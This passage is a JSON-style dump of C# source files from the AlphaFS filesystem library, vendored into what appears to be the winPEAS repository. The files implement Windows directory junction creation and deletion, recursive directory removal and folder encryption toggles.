    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Globalization;\nusing System.IO;\nusing System.Security;\nusing System.Security.AccessControl;\nusing Microsoft.Win32.SafeHandles;\nusing winPEAS._3rdParty.AlphaFS;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>Creates an NTFS directory junction (similar to CMD command: \"MKLINK /J\"). Overwriting a junction point of the same name is allowed.</summary>\n      /// <returns>Returns the long path to the directory junction.</returns>\n      /// <remarks>\n      /// The directory must be empty and reside on a local volume.\n      /// The directory date and time stamps from <paramref name=\"directoryPath\"/> (the target) are copied to the directory junction.\n      /// <para>\n      ///   MSDN: A junction (also called a soft link) differs from a hard link in that the storage objects it references are separate directories,\n      ///   and a junction can link directories located on different local volumes on the same computer.\n      ///   Otherwise, junctions operate identically to hard links. Junctions are implemented through reparse points.\n      /// </para>\n      /// </remarks>\n      /// <exception cref=\"AlreadyExistsException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"junctionPath\">The path of the junction point to create.</param>\n      /// <param name=\"directoryPath\">The path to the directory. If the directory does not exist it will be created.</param>\n      /// <param name=\"overwrite\"><c>true</c> to overwrite an existing junction point. The directory is removed and recreated.</param>\n      /// <param name=\"copyTargetTimestamps\"><c>true</c> to copy the target date and time stamps to the directory junction.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      internal static string CreateJunctionCore(KernelTransaction transaction, string junctionPath, string directoryPath, bool overwrite, bool copyTargetTimestamps, PathFormat pathFormat)\n      {\n         if (pathFormat != PathFormat.LongFullPath)\n         {\n            Path.CheckSupportedPathFormat(directoryPath, true, true);\n            Path.CheckSupportedPathFormat(junctionPath, true, true);\n\n            directoryPath = Path.GetExtendedLengthPathCore(transaction, directoryPath, pathFormat, GetFullPathOptions.RemoveTrailingDirectorySeparator);\n            junctionPath = Path.GetExtendedLengthPathCore(transaction, junctionPath, pathFormat, GetFullPathOptions.RemoveTrailingDirectorySeparator);\n\n            pathFormat = PathFormat.LongFullPath;\n         }\n\n\n         // Directory Junction logic.\n\n\n         // Check if drive letter is a mapped network drive.\n         if (new DriveInfo(directoryPath).IsUnc)\n            throw new ArgumentException(string.Format(CultureInfo.InvariantCulture, Resources.Network_Path_Not_Allowed, directoryPath), \"directoryPath\");\n\n         if (new DriveInfo(junctionPath).IsUnc)\n            throw new ArgumentException(string.Format(CultureInfo.InvariantCulture, Resources.Network_Path_Not_Allowed, junctionPath), \"junctionPath\");\n\n\n         // Check for existing file.\n         File.ThrowIOExceptionIfFsoExist(transaction, false, directoryPath, pathFormat);\n         File.ThrowIOExceptionIfFsoExist(transaction, false, junctionPath, pathFormat);\n\n\n         // Check for existing directory junction folder.\n         if (File.ExistsCore(transaction, true, junctionPath, pathFormat))\n         {\n            if (overwrite)\n            {\n               DeleteDirectoryCore(transaction, null, junctionPath, true, true, true, pathFormat);\n\n               CreateDirectoryCore(true, transaction, junctionPath, null, null, false, pathFormat);\n            }\n\n            else\n            {\n               // Ensure the folder is empty.\n               if (!IsEmptyCore(transaction, junctionPath, pathFormat))\n                  throw new DirectoryNotEmptyException(junctionPath, true);\n\n               throw new AlreadyExistsException(junctionPath, true);\n            }\n         }\n\n\n         // Create the folder and convert it to a directory junction.\n         CreateDirectoryCore(true, transaction, junctionPath, null, null, false, pathFormat);\n\n         using (var safeHandle = OpenDirectoryJunction(transaction, junctionPath, pathFormat))\n            Device.CreateDirectoryJunction(safeHandle, directoryPath);\n\n\n         // Copy the target date and time stamps to the directory junction.\n         if (copyTargetTimestamps)\n            File.CopyTimestampsCore(transaction, true, directoryPath, junctionPath, true, pathFormat);\n\n\n         return junctionPath;\n      }\n\n\n      private static SafeFileHandle OpenDirectoryJunction(KernelTransaction transaction, string junctionPath, PathFormat pathFormat)\n      {\n         return File.CreateFileCore(transaction, true, junctionPath, ExtendedFileAttributes.BackupSemantics | ExtendedFileAttributes.OpenReparsePoint, null, FileMode.Open, FileSystemRights.WriteData, FileShare.ReadWrite, false, false, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Core Methods/Directory.DeleteDirectoryCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Security;\nusing System.Security.AccessControl;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>Deletes the specified directory and, if indicated, any subdirectories in the directory.</summary>\n      /// <remarks>The RemoveDirectory function marks a directory for deletion on close. Therefore, the directory is not removed until the last handle to the directory is closed.</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"DirectoryReadOnlyException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"fsEntryInfo\">A FileSystemEntryInfo instance. Use either <paramref name=\"fsEntryInfo\"/> or <paramref name=\"path\"/>, not both.</param>\n      /// <param name=\"path\">The name of the directory to remove. Use either <paramref name=\"path\"/> or <paramref name=\"fsEntryInfo\"/>, not both.</param>\n      /// <param name=\"recursive\"><c>true</c> to remove all files and subdirectories recursively; <c>false</c> otherwise only the top level empty directory.</param>\n      /// <param name=\"ignoreReadOnly\"><c>true</c> overrides read only attribute of files and directories.</param>\n      /// <param name=\"continueOnNotFound\">When <c>true</c> does not throw an <see cref=\"DirectoryNotFoundException\"/> when the directory does not exist.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      internal static void DeleteDirectoryCore(KernelTransaction transaction, FileSystemEntryInfo fsEntryInfo, string path, bool recursive, bool ignoreReadOnly, bool continueOnNotFound, PathFormat pathFormat)\n      {\n         if (null == fsEntryInfo)\n         {\n            if (null == path)\n               throw new ArgumentNullException(\"path\");\n            \n            fsEntryInfo = File.GetFileSystemEntryInfoCore(transaction, true, Path.GetExtendedLengthPathCore(transaction, path, pathFormat, GetFullPathOptions.RemoveTrailingDirectorySeparator), continueOnNotFound, pathFormat);\n\n            if (null == fsEntryInfo)\n               return;\n         }\n\n\n         PrepareDirectoryForDelete(transaction, fsEntryInfo, ignoreReadOnly);\n\n\n         // Do not follow mount points nor symbolic links, but do delete the reparse point itself.\n         // If directory is reparse point, disable recursion.\n\n         if (recursive && !fsEntryInfo.IsReparsePoint)\n         {\n            // The stack will contain the entire folder structure to prevent any open directory handles because of enumeration.\n            // The root folder is at the bottom of the stack.\n\n            var dirs = new Stack<string>(NativeMethods.DefaultFileBufferSize);\n            \n            foreach (var fsei in EnumerateFileSystemEntryInfosCore<FileSystemEntryInfo>(null, transaction, fsEntryInfo.LongFullPath, Path.WildcardStarMatchAll, null, DirectoryEnumerationOptions.Recursive, null, PathFormat.LongFullPath))\n            {\n               PrepareDirectoryForDelete(transaction, fsei, ignoreReadOnly);\n\n               if (fsei.IsDirectory)\n                  dirs.Push(fsei.LongFullPath);\n\n               else\n                  File.DeleteFileCore(transaction, fsei.LongFullPath, ignoreReadOnly, fsei.Attributes, PathFormat.LongFullPath);\n            }\n\n\n            while (dirs.Count > 0)\n               DeleteDirectoryNative(transaction, dirs.Pop(), ignoreReadOnly, continueOnNotFound, 0);\n         }\n         \n\n         DeleteDirectoryNative(transaction, fsEntryInfo.LongFullPath, ignoreReadOnly, continueOnNotFound, fsEntryInfo.Attributes);\n      }\n\n\n      internal static void PrepareDirectoryForDelete(KernelTransaction transaction, FileSystemEntryInfo fsei, bool ignoreReadOnly)\n      {\n         // Check to see if the folder is a mount point and unmount it. Only then is it safe to delete the actual folder.\n\n         if (fsei.IsMountPoint)\n\n            DeleteJunctionCore(transaction, fsei, null, false, PathFormat.LongFullPath);\n\n\n         // Reset attributes to Normal if we already know the facts.\n\n         if (ignoreReadOnly && (fsei.IsReadOnly || fsei.IsHidden))\n\n            File.SetAttributesCore(transaction, fsei.IsDirectory, fsei.LongFullPath, FileAttributes.Normal, PathFormat.LongFullPath);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Core Methods/Directory.DeleteDirectoryNative.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Diagnostics.CodeAnalysis;\nusing System.Globalization;\nusing System.IO;\nusing System.Runtime.InteropServices;\nusing winPEAS._3rdParty.AlphaFS;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      [SuppressMessage(\"Microsoft.Design\", \"CA1031:DoNotCatchGeneralExceptionTypes\")]\n      private static void DeleteDirectoryNative(KernelTransaction transaction, string pathLp, bool ignoreReadOnly, bool continueOnNotFound, FileAttributes attributes)\n      {\n\n      startRemoveDirectory:\n\n         var success = null == transaction || !NativeMethods.IsAtLeastWindowsVista\n\n            // RemoveDirectory() / RemoveDirectoryTransacted()\n            // 2014-09-09: MSDN confirms LongPath usage.\n\n            // RemoveDirectory on a symbolic link will remove the link itself.\n\n            ? NativeMethods.RemoveDirectory(pathLp)\n\n            : NativeMethods.RemoveDirectoryTransacted(pathLp, transaction.SafeHandle);\n\n\n         var lastError = Marshal.GetLastWin32Error();\n\n         if (!success)\n         {\n            switch ((uint) lastError)\n            {\n               case Win32Errors.ERROR_DIR_NOT_EMPTY:\n                  // MSDN: .NET 3.5+: IOException: The directory specified by path is not an empty directory. \n                  throw new DirectoryNotEmptyException(pathLp, true);\n\n\n               case Win32Errors.ERROR_DIRECTORY:\n                  // MSDN: .NET 3.5+: DirectoryNotFoundException: Path refers to a file instead of a directory.\n                  if (File.ExistsCore(transaction, false, pathLp, PathFormat.LongFullPath))\n                     throw new DirectoryNotFoundException(string.Format(CultureInfo.InvariantCulture, \"({0}) {1}\", lastError, string.Format(CultureInfo.InvariantCulture, Resources.Target_Directory_Is_A_File, pathLp)));\n                  break;\n\n\n               case Win32Errors.ERROR_PATH_NOT_FOUND:\n                  if (continueOnNotFound)\n                     return;\n                  break;\n\n\n               case Win32Errors.ERROR_SHARING_VIOLATION:\n                  // MSDN: .NET 3.5+: IOException: The directory is being used by another process or there is an open handle on the directory.\n                  NativeError.ThrowException(lastError, pathLp);\n                  break;\n\n\n               case Win32Errors.ERROR_ACCESS_DENIED:\n\n                  if (attributes == 0)\n                  {\n                     var attrs = new NativeMethods.WIN32_FILE_ATTRIBUTE_DATA();\n\n                     if (File.FillAttributeInfoCore(transaction, pathLp, ref attrs, false, true) == Win32Errors.NO_ERROR)\n\n                        attributes = attrs.dwFileAttributes;\n                  }\n\n\n                  if (File.IsReadOnlyOrHidden(attributes))\n                  {\n                     // MSDN: .NET 3.5+: IOException: The directory specified by path is read-only.\n\n                     if (ignoreReadOnly)\n                     {\n                        // Reset attributes to Normal.\n                        File.SetAttributesCore(transaction, true, pathLp, FileAttributes.Normal, PathFormat.LongFullPath);\n\n                        goto startRemoveDirectory;\n                     }\n\n\n                     // MSDN: .NET 3.5+: IOException: The directory is read-only.\n                     throw new DirectoryReadOnlyException(pathLp);\n                  }\n\n\n                  // MSDN: .NET 3.5+: UnauthorizedAccessException: The caller does not have the required permission.\n                  if (attributes == 0)\n                     NativeError.ThrowException(lastError, File.IsDirectory(attributes), pathLp);\n\n                  break;\n            }\n\n            // MSDN: .NET 3.5+: IOException:\n            // A file with the same name and location specified by path exists.\n            // The directory specified by path is read-only, or recursive is false and path is not an empty directory. \n            // The directory is the application's current working directory. \n            // The directory contains a read-only file.\n            // The directory is being used by another process.\n\n            NativeError.ThrowException(lastError, pathLp);\n         }\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Core Methods/Directory.DeleteEmptySubdirectoriesCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Collections.Generic;\nusing System.Globalization;\nusing System.IO;\nusing System.Security;\nusing winPEAS._3rdParty.AlphaFS;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Delete empty subdirectories from the specified directory.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"DirectoryReadOnlyException\"/>\n      /// <param name=\"fsEntryInfo\">A FileSystemEntryInfo instance. Use either <paramref name=\"fsEntryInfo\"/> or <paramref name=\"path\"/>, not both.</param>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The name of the directory to remove empty subdirectories from. Use either <paramref name=\"path\"/> or <paramref name=\"fsEntryInfo\"/>, not both.</param>\n      /// <param name=\"recursive\"><c>true</c> deletes empty subdirectories from this directory and its subdirectories.</param>\n      /// <param name=\"ignoreReadOnly\"><c>true</c> overrides read only <see cref=\"FileAttributes\"/> of empty directories.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      internal static void DeleteEmptySubdirectoriesCore(FileSystemEntryInfo fsEntryInfo, KernelTransaction transaction, string path, bool recursive, bool ignoreReadOnly, PathFormat pathFormat)\n      {\n         #region Setup\n\n         if (null == fsEntryInfo)\n         {\n            if (pathFormat == PathFormat.RelativePath)\n               Path.CheckSupportedPathFormat(path, true, true);\n\n            if (!File.ExistsCore(transaction, true, path, pathFormat))\n               NativeError.ThrowException(Win32Errors.ERROR_PATH_NOT_FOUND, path);\n\n            fsEntryInfo = File.GetFileSystemEntryInfoCore(transaction, true, Path.GetExtendedLengthPathCore(transaction, path, pathFormat, GetFullPathOptions.TrimEnd | GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.FullCheck), false, pathFormat);\n\n            if (null == fsEntryInfo)\n               return;\n         }\n\n         #endregion // Setup\n\n\n         // Ensure path is a directory.\n         if (!fsEntryInfo.IsDirectory)\n            throw new IOException(string.Format(CultureInfo.InvariantCulture, Resources.Target_Directory_Is_A_File, fsEntryInfo.LongFullPath));\n\n\n         var dirs = new Stack<string>(1000);\n         dirs.Push(fsEntryInfo.LongFullPath);\n\n         while (dirs.Count > 0)\n         {\n            foreach (var fsei in EnumerateFileSystemEntryInfosCore<FileSystemEntryInfo>(true, transaction, dirs.Pop(), Path.WildcardStarMatchAll, null, DirectoryEnumerationOptions.ContinueOnException, null, PathFormat.LongFullPath))\n            {\n               // Ensure the directory is empty.\n               if (IsEmptyCore(transaction, fsei.LongFullPath, pathFormat))\n                  DeleteDirectoryCore(transaction, fsei, null, false, ignoreReadOnly, true, PathFormat.LongFullPath);\n\n               else if (recursive)\n                  dirs.Push(fsei.LongFullPath);\n            }\n         }\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Core Methods/Directory.DeleteJunctionCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Globalization;\nusing System.IO;\nusing System.Security;\nusing winPEAS._3rdParty.AlphaFS;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>Deletes an NTFS directory junction.</summary>\n      /// <remarks>Only the directory junction is removed, not the target.</remarks>\n      /// <returns>A <see cref=\"DirectoryInfo\"/> instance referencing the junction point.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotAReparsePointException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"fsEntryInfo\">A FileSystemEntryInfo instance. Use either <paramref name=\"fsEntryInfo\"/> or <paramref name=\"junctionPath\"/>, not both.</param>\n      /// <param name=\"junctionPath\">The path of the junction point to remove.</param>\n      /// <param name=\"removeDirectory\">When <c>true</c>, also removes the directory and all its contents.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      internal static void DeleteJunctionCore(KernelTransaction transaction, FileSystemEntryInfo fsEntryInfo, string junctionPath, bool removeDirectory, PathFormat pathFormat)\n      {\n         if (null == fsEntryInfo)\n         {\n            if (pathFormat != PathFormat.LongFullPath)\n            {\n               Path.CheckSupportedPathFormat(junctionPath, true, true);\n\n               junctionPath = Path.GetExtendedLengthPathCore(transaction, junctionPath, pathFormat, GetFullPathOptions.CheckInvalidPathChars | GetFullPathOptions.RemoveTrailingDirectorySeparator);\n\n               pathFormat = PathFormat.LongFullPath;\n            }\n\n\n            fsEntryInfo = File.GetFileSystemEntryInfoCore(transaction, true, junctionPath, false, pathFormat);\n\n            if (!fsEntryInfo.IsMountPoint)\n               throw new NotAReparsePointException(string.Format(CultureInfo.InvariantCulture, Resources.Directory_Is_Not_A_MountPoint, fsEntryInfo.LongFullPath), (int) Win32Errors.ERROR_NOT_A_REPARSE_POINT);\n         }\n         \n\n         pathFormat = PathFormat.LongFullPath;\n\n\n         // Remove the directory junction.\n\n         using (var safeHandle = OpenDirectoryJunction(transaction, fsEntryInfo.LongFullPath, pathFormat))\n\n            Device.DeleteDirectoryJunction(safeHandle);\n\n\n         // Optionally the folder itself, which should and must be empty.\n\n         if (removeDirectory)\n\n            DeleteDirectoryCore(transaction, fsEntryInfo, null, false, false, true, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Core Methods/Directory.EnableDisableEncryptionCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Runtime.InteropServices;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>Enables/disables encryption of the specified directory and the files in it.\n      ///   <para>This method only creates/modifies the file \"Desktop.ini\" in the root of <paramref name=\"path\"/> and  enables/disables encryption by writing: \"Disable=0\" or \"Disable=1\".</para>\n      ///   <para>This method does not affect encryption of files and subdirectories below the indicated directory.</para>\n      /// </summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryReadOnlyException\"/>\n      /// <exception cref=\"FileReadOnlyException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The name of the directory for which to enable encryption.</param>\n      /// <param name=\"enable\"><c>true</c> enabled encryption, <c>false</c> disables encryption.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      internal static void EnableDisableEncryptionCore(string path, bool enable, PathFormat pathFormat)\n      {\n         if (Utils.IsNullOrWhiteSpace(path))\n            throw new ArgumentNullException(\"path\");\n\n         var pathLp = Path.GetExtendedLengthPathCore(null, path, pathFormat, GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.FullCheck);\n\n         // EncryptionDisable()\n         // 2013-01-13: MSDN does not confirm LongPath usage and no Unicode version of this function exists.\n\n         var success = NativeMethods.EncryptionDisable(pathLp, !enable);\n\n         var lastError = Marshal.GetLastWin32Error();\n         if (!success)\n            NativeError.ThrowException(lastError, true, pathLp);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Core Methods/Directory.EncryptDecryptDirectoryCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>Decrypts/encrypts a directory recursively so that only the account used to encrypt the directory can decrypt it.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryReadOnlyException\"/>\n      /// <exception cref=\"FileReadOnlyException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">A path that describes a directory to encrypt.</param>\n      /// <param name=\"encrypt\"><c>true</c> encrypt, <c>false</c> decrypt.</param>\n      /// <param name=\"recursive\"><c>true</c> to decrypt the directory recursively. <c>false</c> only decrypt files and directories in the root of <paramref name=\"path\"/>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      internal static void EncryptDecryptDirectoryCore(string path, bool encrypt, bool recursive, PathFormat pathFormat)\n      {\n         if (pathFormat != PathFormat.LongFullPath)\n         {\n            path = Path.GetExtendedLengthPathCore(null, path, pathFormat, GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.FullCheck);\n\n            pathFormat = PathFormat.LongFullPath;\n    